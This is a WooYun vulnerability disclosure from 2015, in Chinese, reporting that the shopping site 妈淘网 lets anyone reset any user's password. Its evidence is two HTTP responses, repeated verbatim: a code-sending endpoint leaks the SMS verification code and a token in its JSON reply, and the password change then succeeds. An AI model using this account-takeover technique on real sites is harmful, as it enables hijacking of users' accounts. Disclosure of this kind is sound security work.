WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0139561

漏洞标题：妈淘网逻辑设计错误可重置任意用户密码

相关厂商：妈淘网

漏洞作者： zowie

提交时间：2015-09-08 17:17

修复时间：2015-10-23 17:18

公开时间：2015-10-23 17:18

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2015-09-08： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-10-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

妈淘网——帮助亿万宝妈选购母婴用品！ 妈淘网是一个全部由达人和真实用户贡献的母婴购物经验和母婴产品信息分享平台，帮助年轻父母更合理、放心、高效的进行智慧消费。集合消费攻略、导购、大数据帮助用户进行母婴消费决策（买什么，怎么买，如何买的更安全、合理和便宜），同时为母婴品牌和商家搭建一个精准营销平台。通过导购佣金模式、商家推广、品牌合作等多样化推广以及闪购特卖等电商模式，打造一个国内独特的社会化母婴消费分享平台。

详细说明：

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 135
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 07 Sep 2015 08:14:04 GMT
{"Code":0,"Msg":"发送成功！","Data":{"UserId":1007185,"VerificationCode":"666341","Token":"fa339564-d937-4a84-b68f-11e19860c07a"}}

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 64
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 07 Sep 2015 08:15:12 GMT
{"Code":0,"Msg":"修改成功！","Data":{"OperateResult":true}}

漏洞证明：

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 135
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 07 Sep 2015 08:14:04 GMT
{"Code":0,"Msg":"发送成功！","Data":{"UserId":1007185,"VerificationCode":"666341","Token":"fa339564-d937-4a84-b68f-11e19860c07a"}}

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 64
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 07 Sep 2015 08:15:12 GMT
{"Code":0,"Msg":"修改成功！","Data":{"OperateResult":true}}

修复方案：

版权声明：转载请注明来源 zowie@乌云

漏洞回应